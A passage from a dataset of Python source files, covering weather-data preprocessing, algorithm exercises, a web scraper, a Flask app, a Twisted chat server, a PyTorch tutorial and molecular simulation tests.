(row_aq['Longitude'], row_aq['Latitude'])\n for index_grid, row_grid in grid_locations.iterrows():\n coords_grid = (row_grid['Longitude'], row_grid['Latitude'])\n dist = geopy.distance.vincenty(coords_aq, coords_grid)\n if dist < max_dist:\n max_dist = dist\n station_id = row_aq['station_id']\n near_stations[station_id] = row_grid['grid_id']\n return near_stations\n\ndef meo_data_preprocess(city=\"bj\"): \n if city == \"bj\" :\n grid_meo_dataset, stations, meo_stations = load_meo_data(generate_nearest_stations(city), city)\n elif city == \"ld\" :\n grid_meo_dataset, stations, meo_stations = load_meo_data(generate_nearest_stations(city), city)\n\n # Supression of the duplicates\n for station in meo_stations.keys() :\n df = meo_stations[station].copy()\n length = df.shape[0]\n order = range(length)\n df['order'] = pd.Series(order, index=df.index) \n \n \n df[\"time\"] = df.index\n df.set_index(\"order\", inplace=True)\n \n used_times = []\n for index in df.index :\n time = df.loc[index][\"time\"]\n if time not in used_times :\n used_times.append(time)\n else : \n df.drop([index], inplace=True)\n \n df.set_index(\"time\", inplace=True)\n meo_stations[station] = df\n\n\n # Completion of the missing data\n for station in meo_stations.keys() :\n df = meo_stations[station].copy()\n nan_series = pd.Series({key:np.nan for key in df.columns})\n\n min_time = datetime.datetime.strptime(df.index.min(), '%Y-%m-%d %H:%M:%S')\n max_time = datetime.datetime.strptime(df.index.max(), '%Y-%m-%d %H:%M:%S')\n\n time = min_time\n \n while time <= max_time :\n \n time_str = datetime.date.strftime(time, '%Y-%m-%d %H:%M:%S')\n if time_str not in df.index :\n found_before = False\n i = 0\n while not found_before :\n i += 1\n before_time = time - i * datetime.timedelta(hours=1)\n before_time_str = datetime.date.strftime(before_time, '%Y-%m-%d %H:%M:%S')\n if before_time_str in df.index :\n before_row = df.loc[before_time_str]\n before_step = i\n found_before = True\n\n found_after = False\n j = 0\n while not found_after :\n j += 1\n after_time = time + j * datetime.timedelta(hours=1)\n after_time_str = datetime.date.strftime(after_time, '%Y-%m-%d %H:%M:%S')\n if after_time_str in df.index :\n after_row = df.loc[after_time_str]\n after_step = j\n found_after = True\n \n combined_steps = before_step + after_step\n \n delata_values = after_row - before_row\n df.loc[time_str] = before_row + (before_step/combined_steps) * delata_values\n \n time += datetime.timedelta(hours=1)\n meo_stations[station] = df\n\n # We concat the data and save it in a csv file\n meo_stations_merged = pd.concat(list(meo_stations.values()), axis=1)\n if city == 'bj':\n column_names_without_aq = []\n for coln_name in meo_stations_merged.columns :\n column_names_without_aq.append(coln_name.replace('_aq',''))\n meo_stations_merged.columns = column_names_without_aq\n meo_stations_merged.sort_index(inplace=True)\n meo_stations_merged[\"date\"] = pd.to_datetime(meo_stations_merged.index)\n meo_stations_merged.set_index(\"date\", inplace=True)\n meo_stations_merged.to_csv(\"prepared_data/%s_meo_data.csv\" %(city))\n print(\"Meteo data of %s prepared !\" %(city))","sub_path":"data/meo_data.py","file_name":"meo_data.py","file_ext":"py","file_size_in_byte":6941,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"563983237","text":"import random\nfrom string import ascii_uppercase, digits\nclass Robot:\n def __init__(self):\n random.seed()\n upper = random.choices(ascii_uppercase, k=2)\n digs = random.choices(digits, k=3)\n self.name = \"\".join(upper + digs)\n def reset(self):\n self.__init__() ","sub_path":"robot-name/robot_name.py","file_name":"robot_name.py","file_ext":"py","file_size_in_byte":299,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"525637141","text":"# python3\n\nalphabet = '$ACGT'\n\n\ndef sort_characters(s):\n order = [None for _ in s]\n count = {key: 0 for key in alphabet}\n for c in s:\n count[c] += 1\n i = 0\n for c in alphabet:\n count[c] += i\n i = count[c]\n for i, c in list(enumerate(s))[::-1]:\n count[c] -= 1\n order[count[c]] = i\n return order\n\n\ndef compute_char_classes(s, order):\n cls = [None for _ in s]\n cls[order[0]] = 0\n for i in range(1, len(s)):\n if s[order[i]] != s[order[i - 1]]:\n cls[order[i]] = cls[order[i - 1]] + 1\n else:\n cls[order[i]] = cls[order[i - 1]]\n return cls\n\n\ndef sort_doubled(s, l, order, cls):\n count = [0 for _ in s]\n new_order = [None for _ in s]\n for c in cls:\n count[c] += 1\n for j in range(1, len(s)):\n count[j] += count[j - 1]\n for i in range(len(s) - 1, -1, -1): # len(s)-1 down to 0\n start = (order[i] - l + len(s)) % len(s)\n cl = cls[start]\n count[cl] -= 1\n new_order[count[cl]] = start\n return new_order\n\n\ndef update_classes(new_order, cls, l):\n n = len(new_order)\n new_class = [None for _ in range(n)]\n new_class[new_order[0]] = 0\n for i in range(1, n):\n cur = new_order[i]\n prev = new_order[i - 1]\n mid = (cur + l) % n\n mid_prev = (prev + l) % n\n if cls[cur] != cls[prev] or cls[mid] != cls[mid_prev]:\n new_class[cur] = new_class[prev] + 1\n else:\n new_class[cur] = new_class[prev]\n return new_class\n\n\n# s = input()\ns = 'AACGATAGCGGTAGA$'\n\norder = sort_characters(s)\n# for idx in order:\n# print(s[idx])\ncls = compute_char_classes(s, order)\n\nl = 1\nwhile l < len(s):\n order = sort_doubled(s, l, order, cls)\n # if l == 1:\n # print(order)\n # print([(s+s)[i:i + 2] for i in order])\n cls = update_classes(order, cls, l)\n if l == 1:\n print(cls)\n l *= 2\n\n# print(' '.join([str(s) for s in order]))\n# 15 14 0 1 12 6 4 2 8 13 3 7 9 10 11 5\n","sub_path":"course4/week3/suffix_array.py","file_name":"suffix_array.py","file_ext":"py","file_size_in_byte":1998,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"459914310","text":"import planetmod as pm\nimport numpy as np\n\n\nseed = 42\npm.randomInit(seed)\nr = pm.findPositions(0,seed)\nnPlanets = r.shape[1]\n\n[rSat, t] = pm.sendSatelliteNew(seed)\nN = len(t)\n\npm.animateOrbits(t,rSat, True)\n\n","sub_path":"Testfiles/animateTest.py","file_name":"animateTest.py","file_ext":"py","file_size_in_byte":223,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"73974107","text":"import json\n\nfrom kingfisher_scrapy.base_spider import SimpleSpider\nfrom kingfisher_scrapy.util import handle_http_error, parameters, replace_parameter\n\n\nclass UKContractsFinder(SimpleSpider):\n \"\"\"\n Spider arguments\n sample\n Downloads the first page of release packages returned by the main endpoint.\n \"\"\"\n name = 'uk_contracts_finder'\n data_type = 'release_package_list_in_results'\n encoding = 'iso-8859-1'\n\n def start_requests(self):\n url = 'https://www.contractsfinder.service.gov.uk/Published/Notices/OCDS/Search?order=desc&page=1'\n yield self.build_request(url, formatter=parameters('page'), callback=self.parse_list)\n\n @handle_http_error\n def parse_list(self, response):\n yield from self.parse(response)\n\n if not self.sample:\n data = json.loads(response.text)\n total = data['maxPage']\n for page in range(2, total + 1):\n url = replace_parameter(response.request.url, 'page', page)\n yield self.build_request(url, formatter=parameters('page'))\n","sub_path":"kingfisher_scrapy/spiders/uk_contracts_finder.py","file_name":"uk_contracts_finder.py","file_ext":"py","file_size_in_byte":1077,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"23396139","text":"__author__ = 'Hello'\n\n\nimport loggerUtil, flightutil, flightSkyScanner, miscUtility, TravelPlanner.startuputil\nimport concurrent\n\nlogger = loggerUtil.getlogger(\"FlightDirectApi\")\n\n\nclass FlightDirectController:\n\n \"\"\"\n To get only direct flighte between source and destination cities\n \"\"\"\n\n def getresults(self, sourcecity, destinationcity, journeydate, flightclass, numberofadults):\n\n logger.debug(\"[START]-Get Results From FlightDirectApi for Source:[%s] to Destination:[%s] on JourneyDate:[%s] \", sourcecity, destinationcity, journeydate)\n\n with concurrent.futures.ThreadPoolExecutor(max_workers=8) as executor:\n\n source = TravelPlanner.startuputil.gettraincity(sourcecity).title()\n destination = TravelPlanner.startuputil.gettraincity(destinationcity).title()\n\n airports = flightutil.getnearestairports(source, destination)\n sourcenear = airports.sourceairports.near\n destinationnear = airports.destinationairports.near\n\n if source != sourcenear and destination != destinationnear:\n logger.warning(\"No direct flight possible between source [%s] and destination [%s]\", source, destination)\n return {\"flight\": []}\n else:\n logger.debug(\"Fetching direct possible flights between source [%s] and destination [%s] on [%s]\", source, destination, journeydate)\n onlyflightfuture = executor.submit(flightSkyScanner.getApiResults, source, destination, journeydate, \"flightdirect\", flightclass, numberofadults)\n onlyflight = onlyflightfuture.result()\n onlyflight = miscUtility.limitResults(onlyflight, \"flight\")\n return onlyflight","sub_path":"GoIndi/flightdirectapi.py","file_name":"flightdirectapi.py","file_ext":"py","file_size_in_byte":1729,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"312365194","text":"from flask import Flask, render_template, request\r\nimport marks as m\r\n\r\napp = Flask(__name__)\r\n\r\n\r\n@app.route(\"/\", methods=[\"GET\", \"POST\"])\r\ndef marks():\r\n if request.method == \"POST\":\r\n hrs = request.form[\"hrs\"]\r\n marks_pred = m.marks_prediction(hrs)\r\n mk = marks_pred\r\n\r\n return render_template(\"index.html\", my_marks=mk)\r\n\r\n if request.method == \"GET\":\r\n\r\n return render_template(\"index.html\")\r\n\r\n\r\n# @app.route(\"/sub\", methods=[\"POST\"])\r\n# def submit():\r\n# # HTML -> .py\r\n# if request.method == \"POST\":\r\n# name = request.form[\"username\"]\r\n#\r\n# # .py -> HTML\r\n# return render_template(\"sub.html\", n = name)\r\n\r\nif __name__ == \"__main__\":\r\n app.run(debug=True)\r\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":731,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"349644644","text":"from twisted.internet import reactor\nfrom twisted.internet.protocol import ServerFactory, connectionDone\nfrom twisted.protocols.basic import LineOnlyReceiver\nimport argparse\n\nparser = argparse.ArgumentParser(description='MSQ Server launcher',\n add_help=True)\nparser.add_argument(\"--port\", action=\"store\", dest='port',\n help=\"Port to host server on.\")\narguments = parser.parse_args()\narguments.port = int(arguments.port) if arguments.port else 1234\n\n\nclass ServerProtocol(LineOnlyReceiver):\n factory: 'Server'\n login: str = None\n\n def connectionMade(self):\n self.sendLine(\"Соединено с сервером.\\nАвторизуйтесь при помощи команды /login.\".encode())\n self.fillUserInput(\"/login \")\n\n def clearAll(self):\n self.sendLine(\"CMD: CLEAR ALL\".encode())\n\n def fillUserInput(self, msg):\n self.sendLine(f\"CMD: FILL {msg}\".encode())\n\n def connectionLost(self, reason=connectionDone):\n # Если клиент авторизовался перед закрытием, его нужно закрыть со стороны сервера.\n if self in self.factory.clients:\n self.factory.clients.remove(self)\n\n def lineReceived(self, line: bytes) -> None:\n \"\"\"\n Вызывается при получении сервером сообщения от клиента.\n\n :param line: Сообщение от клиента в зашифрованном виде.\n \"\"\"\n\n # Расшифровываем сообщение клиента\n content = line.decode()\n\n # Если пользователь отправил пустое сообщение, игнорируем его.\n if not content:\n return\n\n # Если пользователь авторизован\n if self.login is not None:\n content = f\"{self.login} >> {content}\"\n\n # Записываем сообщение в историю чата для отправки пользователям после авторизации.\n self.factory.history.append(content)\n\n # Отсылаем сообщение всем авторизованным пользователям в сети\n for user in self.factory.clients:\n user.sendLine(content.encode())\n\n # Если пользователь не авторизован\n else:\n # /login admin -> admin\n if content.startswith(\"/login\"):\n\n # Пользователь ввел команду, но забыл логин\n if len(content.split()) < 2:\n self.sendLine(\"Неверное использование команды. Пример использования:\\n/login username\".encode())\n self.fillUserInput(\"/login \")\n return\n\n login = content.split()[1]\n\n # Если введенный логин занят\n for user in self.factory.clients:\n if user.login == login:\n self.sendLine(\"Этот логин уже используется! Пожалуйста, используйте другой.\".encode())\n self.fillUserInput(\"/login \")\n return\n\n # Если введенный логин свободен, авторизуем пользователя и шлем ему историю чата\n self.login = login\n self.factory.clients.append(self)\n self.clearAll()\n self.sendLine(\"Добро пожаловать, {}!\\nПоследние {} сообщений:\".format(self.login,\n self.factory.history_length).encode())\n self.factory.send_history(self)\n\n # Если пользователь пытается слать сообщения без авторизации\n else:\n self.sendLine(\"Пожалуйста, авторизуйтесь прежде чем слать сообщения.\".encode())\n self.fillUserInput(\"/login \")\n\n\nclass Server(ServerFactory):\n protocol = ServerProtocol\n clients: list\n history: list\n history_length = 10\n\n def startFactory(self):\n self.clients = []\n self.history = []\n print(\"Server started on port {}\".format(arguments.port))\n\n def stopFactory(self):\n print(\"Server closed\")\n\n def send_history(self, client: ServerProtocol) -> None:\n \"\"\"\n Отсылает последние сообщений пользователю.\n\n :param client: Клиент, которому отправляем историю.\n \"\"\"\n last_messages = self.history[-self.history_length:]\n\n for msg in last_messages:\n client.sendLine(msg.encode())\n\n\nreactor.listenTCP(int(arguments.port), Server())\nreactor.run()\n","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":5095,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"6440653","text":"#!/bin/sh\n\"\"\":\" .\n\nexec python \"$0\" \"$@\"\n\"\"\"\n# -*- coding: utf-8 -*-\n\"\"\"\nCopyright (c) 2017 beyond-blockchain.org.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n\"\"\"\nimport argparse\nimport time\nimport binascii\nimport sys\nimport ipaddress\nsys.path.append(\"../\")\n\nfrom bbc1.app import bbc_app\nfrom bbc1.core.bbc_config import DEFAULT_CORE_PORT, DEFAULT_P2P_PORT\nfrom bbc1.common import bbclib\nfrom bbc1.common.message_key_types import KeyType\nfrom bbc1.common.bbc_error import *\n\n\ndef wait_check_result_msg_type(callback, msg_type):\n dat = callback.synchronize()\n if dat[KeyType.command] != msg_type:\n sys.stderr.write(\"XXXXXX not expected result: %d <=> %d(received)\\n\" % (msg_type, dat[KeyType.command]))\n return dat\n\n\ndef argument_parser():\n argparser = argparse.ArgumentParser(description='Send domain ping to crate domain and static node info.')\n argparser.add_argument('-4', '--ip4address', action='store', default=\"127.0.0.1\", help='bbc_core address (IPv4)')\n argparser.add_argument('-6', '--ip6address', action='store', help='bbc_core address (IPv6)')\n argparser.add_argument('-p', '--port', action='store', default=DEFAULT_CORE_PORT, help='port number of bbc_core')\n argparser.add_argument('-d', '--domain_id', action='store', default=None, help='domain_id to setup')\n argparser.add_argument('--ping_to_neighbors', action='store_true', help='make the bbc_core send ping to all '\n 'neighbors')\n argparser.add_argument('-i', '--id', action='store', help='SHA256 ID calculation from the given strings')\n argparser.add_argument('-t', '--timebaseid', action='store', help='SHA256 ID calculation from the given strings including timestamp')\n return argparser.parse_args()\n\n\ndef send_domain_ping(bbcclient, domain_id, addr, port):\n dst_ip, dst_port = ipaddress.ip_address(addr), int(port)\n ipv4 = None\n ipv6 = None\n if isinstance(dst_ip, ipaddress.IPv4Address):\n ipv4 = str(dst_ip)\n else:\n ipv6 = str(dst_ip)\n print(\"Request domain_ping to %s, %s, %d\" % (ipv4, ipv6, dst_port))\n bbcclient.send_domain_ping(domain_id, ipv4, ipv6, dst_port)\n\n\nif __name__ == '__main__':\n port = None\n parsed_args = argument_parser()\n if parsed_args.domain_id is None:\n print(\"### -d option is mandatory!\")\n sys.exit(1)\n if parsed_args.id:\n value = bbclib.get_new_id(parsed_args.id, include_timestamp=False)\n print(bbclib.convert_id_to_string(value))\n sys.exit(0)\n if parsed_args.timebaseid:\n value = bbclib.get_new_id(parsed_args.id, include_timestamp=True)\n print(bbclib.convert_id_to_string(value))\n sys.exit(0)\n\n if parsed_args.ip4address:\n addr = parsed_args.ip4address\n if parsed_args.ip6address:\n addr = parsed_args.ip6address\n port = parsed_args.port\n bbcclient = bbc_app.BBcAppClient(host=addr, port=port, loglevel=\"all\")\n\n domain_id = bbclib.convert_idstring_to_bytes(parsed_args.domain_id)\n\n if parsed_args.ping_to_neighbors:\n print(\"ping to all neighbor bbc_cores\")\n bbcclient.ping_to_all_neighbors(domain_id)\n time.sleep(1)\n sys.exit(0)\n\n bbcclient.domain_setup(domain_id, \"simple_cluster\")\n dat = wait_check_result_msg_type(bbcclient.callback, bbclib.MsgType.RESPONSE_SETUP_DOMAIN)\n assert dat[KeyType.status] == ESUCCESS\n\n sys.exit(0)\n","sub_path":"utils/bbc_setup.py","file_name":"bbc_setup.py","file_ext":"py","file_size_in_byte":3906,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"403612281","text":"'''\r\nimport torch\r\nimport numpy as np\r\n\r\n# examples\r\n# create tensors of different dimensions with different data types\r\nx = torch.empty(5, 3)\r\nprint(x)\r\n\r\nx = torch.rand(5, 3)\r\nprint(x)\r\n\r\nx = torch.zeros(5, 3, dtype = torch.long)\r\nprint(x)\r\n\r\nx = torch.tensor([5.5, 3])\r\nprint(x)\r\n\r\n# create tensors from existing tensors\r\n\r\nx = x.new_ones(5, 3, dtype = torch.double)\r\nprint(x)\r\n\r\nx = torch.randn_like(x, dtype = torch.float)\r\nprint(x)\r\n\r\n\r\n# get size of tensor\r\nprint(x.size())\r\n\r\n# tensor operations\r\ny = torch.rand(5, 3)\r\n\r\nprint(x + y)\r\nprint(torch.add(x, y))\r\n\r\n#reshape tensors\r\n\r\nx = torch.randn(4, 4)\r\ny = x.view(16)\r\nz = x.view(-1, 8)\r\nprint(x.size(), y.size(), z.size())\r\n\r\n# one element tensors have the item method to retrieve\r\n\r\nx = torch.randn(1)\r\nprint(x)\r\nprint(x.item())\r\n\r\n\r\n#using tensors on the gpu\r\nif torch.cuda.is_available():\r\n device = torch.device(\"cuda\") # a cuda device object\r\n y = torch.ones_like(x, device = device) # directly create a tensor on gpu\r\n x = x.to(device) # or just use strings ...to(\"cuda\")\r\n z = x + y\r\n print(z)\r\n print(z.to(\"cpu\", torch.double))\r\n print(\"dub\")\r\n\r\n\r\n#using numpy with torch\r\na = np.ones(5)\r\nb = torch.from_numpy(a)\r\nnp.add(a, 1, out = a)\r\nprint(a)\r\nprint(b)\r\n'''\r\n\r\n#creating a neural network\r\nimport torch\r\nimport torch.nn as nn\r\nimport torch.nn.functional as F\r\n\r\nclass Net(nn.Module):\r\n def __init__(self):\r\n super(Net, self).__init__()\r\n self.conv1 = nn.Conv2d(1, 6, 5)\r\n self.conv2 = nn.Conv2d(6, 16, 5)\r\n self.fc1 = nn.Linear(16 * 5 * 5, 120)\r\n self.fc2 = nn.Linear(120, 84)\r\n self.fc3 = nn.Linear(84, 10)\r\n\r\n def forward(self, x):\r\n #Max pooling over a (2, 2) window\r\n x = F.max_pool2d(F.relu(self.conv1(x)), (2, 2))\r\n #if the size is a square you can only specify a single number\r\n x = F.max_pool2d(F.relu(self.conv2(x)), 2)\r\n x = x.view(-1, self.num_flat_features(x))\r\n x = F.relu(self.fc1(x))\r\n x = F.relu(self.fc2(x))\r\n x = self.fc3(x)\r\n return x\r\n\r\n def num_flat_features(self, x):\r\n size = x.size()[1:]\r\n num_features = 1\r\n for s in size:\r\n num_features *= s\r\n return num_features\r\n\r\nnet = Net()\r\nprint(net)\r\n\r\n# the learnable parameters of a model are returned by ''net.parameters()''\r\nparams = list(net.parameters())\r\nprint(len(params))\r\nprint(params[0].size()) #conv1's .weight\r\n\r\n# try a random 32*32 input\r\n#expected input size to this net is 32 x 32\r\n#Mnist dataset, resize the images from the dataset to 32*32\r\n\r\ninput = torch.randn(1, 1, 32, 32)\r\nout = net(input)\r\nprint(out)\r\n\r\n\r\n#zero the gradient buffers of all parameters and backprops with random gradients\r\nnet.zero_grad()\r\nout.backward(torch.rand(1, 10))\r\n\r\n\r\n#loss function example\r\noutput = net(input)\r\ntarget = torch.randn(10)\r\ntarget = target.view(1, -1) # make this the same shape as the output of the network\r\ncriterion = nn.MSELoss()\r\nloss = criterion(output, target)\r\nprint('Loss', loss)\r\n\r\n\r\n#For illustration of the loss function\r\nprint(loss.grad_fn) #MSELoss\r\nprint(loss.grad_fn.next_functions[0][0]) # linear\r\nprint(loss.grad_fn.next_functions[0][0].next_functions[0][0]) #relu\r\n\r\n#backwards propagation\r\n\r\nnet.zero_grad() #zeroes the gradien buffers of all parameters\r\n\r\nprint('conv1.bias.grad before backwards')\r\nprint(net.conv1.bias.grad)\r\n\r\nloss.backward()\r\n\r\nprint('conv1.bias.grad before backwards')\r\nprint(net.conv1.bias.grad)\r\n\r\n#actually apply the SGD or Update the Weights\r\nimport torch.optim as optim\r\n\r\n#create an optimizer\r\noptimizer = optim.SGD(net.parameters(), lr = 0.01)\r\n\r\n#in your training loop:\r\noptimizer.zero_grad()\r\noutput = net(input)\r\nloss = criterion(output, target)\r\nloss.backward()\r\noptimizer.step()\r\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":3797,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"285603886","text":"'''\nChannel for messages\n'''\nfrom pprint import pprint\nfrom grpc import FutureTimeoutError, FutureCancelledError\nimport arrow\n\nimport app.messages.messages_pb2 as messages_pb2\n\nclass ResponseServer(messages_pb2.MessagesServicer):\n ''''Clase que se encarga de devolver el mensaje al cliente'''\n\n def Message(self, request, context):\n '''Save data received from bots into database and response with a message and code'''\n try:\n #payments = Payments.PaymentModel()\n #payments.add_payment(self.parse_request(request.p))\n pprint(request)\n return messages_pb2.Response(id=request.id, message='Ok', code=200)\n except FutureTimeoutError as fte:\n print('FutureTimeOut {0}'.format(str(fte)))\n return messages_pb2.Response(id=request.id, message=str(fte), \\\n code=400, datetime=str(arrow.now()))\n except FutureCancelledError as fce:\n print('CancelError {0}'.format(str(fce)))\n return messages_pb2.Response(id=request.id, message=str(fce), datetime=str(arrow.now()))\n except Exception as excep:\n print('Exception {}'.format(str(excep)))\n return messages_pb2.Response(id=request.id, message=str(excep),\\\n code=400, datetime=str(arrow.now()))\n\n","sub_path":"app/messages/channel.py","file_name":"channel.py","file_ext":"py","file_size_in_byte":1304,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"477084652","text":"# coding=utf-8\n# Copyright 2020 Yedaffon Author.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n# Manacher算法\n\nclass Solution(object):\n def longestPalindrome(self, s: str) -> str:\n size = len(s)\n if size < 2:\n return s\n\n t = \"#\"\n for i in range(size):\n t += s[i]\n t += \"#\"\n t_len = 2 * size + 1\n\n p = [0 for _ in range(t_len)]\n\n max_right = 0\n center = 0\n\n max_len = 1\n start = 1\n\n for i in range(t_len):\n if i < max_right:\n mirror = 2 * center - i\n p[i] = min(max_right - i, p[mirror])\n\n left = i - (1 + p[i])\n right = i + (1 + p[i])\n\n while left >= 0 and right < t_len and t[left] == t[right]:\n p[i] += 1\n left -= 1\n right += 1\n\n if i + p[i] > max_right:\n max_right = i + p[i]\n center = i\n\n if p[i] > max_len:\n max_len = p[i]\n start = (i - max_len) // 2\n\n return s[start: start + max_len]\n","sub_path":"DataStructuresAndAlgorithms/LeetCode/5-Longest-Palindromic-Substring.py","file_name":"5-Longest-Palindromic-Substring.py","file_ext":"py","file_size_in_byte":1615,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"518740282","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.6 (62161)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-i686/egg/grs/mobileapi.py\n# Compiled at: 2011-10-05 02:42:28\nfrom realtime import twsk\n\ndef covstr(s):\n \"\"\" convert string to int or float. \"\"\"\n try:\n ret = int(s)\n except ValueError:\n ret = float(s)\n\n return ret\n\n\nclass mapi(object):\n\n def __init__(self, stock_no):\n self.g = twsk(stock_no).real\n\n @property\n def output(self):\n '''\n re = \"\"\"\n \n
%(name)s%(c)s%(range)+.2f(%(pp)+.2f%%)
%(stock_no)s%(value)s%(time)s
\"\"\" % {\n '''\n if covstr(self.g['range']) > 0:\n css = 'red'\n elif covstr(self.g['range']) < 0:\n css = 'green'\n else:\n css = 'gray'\n re = {'name': self.g['name'], \n 'stock_no': self.g['no'], \n 'time': self.g['time'], \n 'open': self.g['open'], \n 'h': self.g['h'], \n 'l': self.g['l'], \n 'c': self.g['c'], \n 'max': self.g['max'], \n 'min': self.g['min'], \n 'range': covstr(self.g['range']), \n 'ranges': self.g['ranges'], \n 'value': self.g['value'], \n 'pvalue': self.g['pvalue'], \n 'pp': covstr(self.g['pp']), \n 'top5buy': self.g['top5buy'], \n 'top5sell': self.g['top5sell'], \n 'crosspic': self.g['crosspic'], \n 'css': css}\n return re","sub_path":"pycfiles/goristock-0.5-py2.6/mobileapi.py","file_name":"mobileapi.py","file_ext":"py","file_size_in_byte":1619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"203422296","text":"import pytest\nimport parmed\nimport fnmatch\nimport numpy\nimport os\nfrom openmmtools.cache import ContextCache\nfrom openmmtools.states import ThermodynamicState\nfrom blues.systemfactory import *\nfrom simtk.openmm import app\nfrom simtk import unit\n\n\n@pytest.fixture(scope='session')\ndef system_cfg():\n system_cfg = {'nonbondedMethod': app.PME, 'nonbondedCutoff': 8.0 * unit.angstroms, 'constraints': app.HBonds}\n return system_cfg\n\n@pytest.fixture(scope='session')\ndef structure():\n # Load the waterbox with toluene into a structure.\n prmtop = utils.get_data_filename('blues', 'tests/data/TOL-parm.prmtop')\n inpcrd = utils.get_data_filename('blues', 'tests/data/TOL-parm.inpcrd')\n structure = parmed.load_file(prmtop, xyz=inpcrd)\n return structure\n\n@pytest.fixture(scope='session')\ndef tol_atom_indices(structure):\n atom_indices = utils.atomIndexfromTop('LIG', structure.topology)\n return atom_indices\n\n@pytest.fixture(scope='function')\ndef system(structure, system_cfg):\n system = structure.createSystem(**system_cfg)\n return system\n\n@pytest.fixture(scope='function')\ndef context(system, structure):\n context_cache = ContextCache()\n thermodynamic_state = ThermodynamicState(system, 300*unit.kelvin)\n context, integrator = context_cache.get_context(thermodynamic_state)\n context.setPositions(structure.positions)\n return context\n\n### Utils ###\ndef test_amber_atom_selections(structure, tol_atom_indices):\n atom_indices = utils.amber_selection_to_atomidx(structure, ':LIG')\n\n print('Testing AMBER selection parser')\n assert isinstance(atom_indices, list)\n assert len(atom_indices) == len(tol_atom_indices)\n\ndef test_amber_selection_check(structure, caplog):\n print('Testing AMBER selection check')\n assert True == utils.check_amber_selection(structure, ':LIG')\n assert True == utils.check_amber_selection(structure, '@1')\n assert False == utils.check_amber_selection(structure, ':XYZ')\n assert False == utils.check_amber_selection(structure, '@999')\n\ndef test_atomidx_to_atomlist(structure, tol_atom_indices):\n print('Testing atoms from AMBER selection with parmed.Structure')\n atom_list = utils.atomidx_to_atomlist(structure, tol_atom_indices)\n atom_selection = [structure.atoms[i] for i in tol_atom_indices]\n assert atom_selection == atom_list\n\ndef test_get_masses(structure, tol_atom_indices):\n print('Testing get masses from a Topology')\n masses, totalmass = utils.getMasses(tol_atom_indices, structure.topology)\n total = numpy.sum(numpy.vstack(masses))\n assert total == totalmass._value\n\ndef test_get_center_of_mass(structure, tol_atom_indices):\n print('Testing get center of mass')\n masses, totalmass = utils.getMasses(tol_atom_indices, structure.topology)\n coordinates = numpy.array(structure.positions._value, numpy.float32)[tol_atom_indices]\n com = utils.getCenterOfMass(coordinates, masses)\n assert len(com) == 3\n\ndef test_print_host_info(context, caplog):\n print('Testing Host Printout')\n with caplog.at_level(logging.INFO):\n utils.print_host_info(context)\n assert 'version' in caplog.text\n\ndef test_saveContextFrame(context, structure, caplog, tmpdir):\n print('Testing Save Context Frame')\n filename = 'testContext.pdb'\n with caplog.at_level(logging.INFO):\n utils.saveContextFrame(context, structure.topology, filename)\n assert 'Saving Frame to' in caplog.text\n exists = os.path.isfile('testContext.pdb')\n assert exists == True\n if exists:\n os.remove(filename)\n### SystemFactories ###\n\ndef test_generateAlchSystem(structure, system, tol_atom_indices):\n # Create the OpenMM system\n print('Creating OpenMM Alchemical System')\n alch_system = generateAlchSystem(system, tol_atom_indices)\n\n # Check that we get an openmm.System\n assert isinstance(alch_system, openmm.System)\n\n # Check atoms in system is same in input parmed.Structure\n assert alch_system.getNumParticles() == len(structure.atoms)\n assert alch_system.getNumParticles() == system.getNumParticles()\n\n # Check customforces were added for the Alchemical system\n alch_forces = alch_system.getForces()\n alch_force_names = [force.__class__.__name__ for force in alch_forces]\n assert len(system.getForces()) < len(alch_forces)\n assert len(fnmatch.filter(alch_force_names, 'Custom*Force')) > 0\n\ndef test_restrain_postions(structure, system):\n print('Testing positional restraints')\n no_restr = system.getForces()\n\n md_system_restr = restrain_positions(structure, system, ':LIG')\n restr = md_system_restr.getForces()\n\n # Check that forces have been added to the system.\n assert len(restr) != len(no_restr)\n # Check that it has added the CustomExternalForce\n assert isinstance(restr[-1], openmm.CustomExternalForce)\n\ndef test_zero_masses(system, tol_atom_indices):\n print('Testing zero masses')\n masses = [system.getParticleMass(i)._value for i in 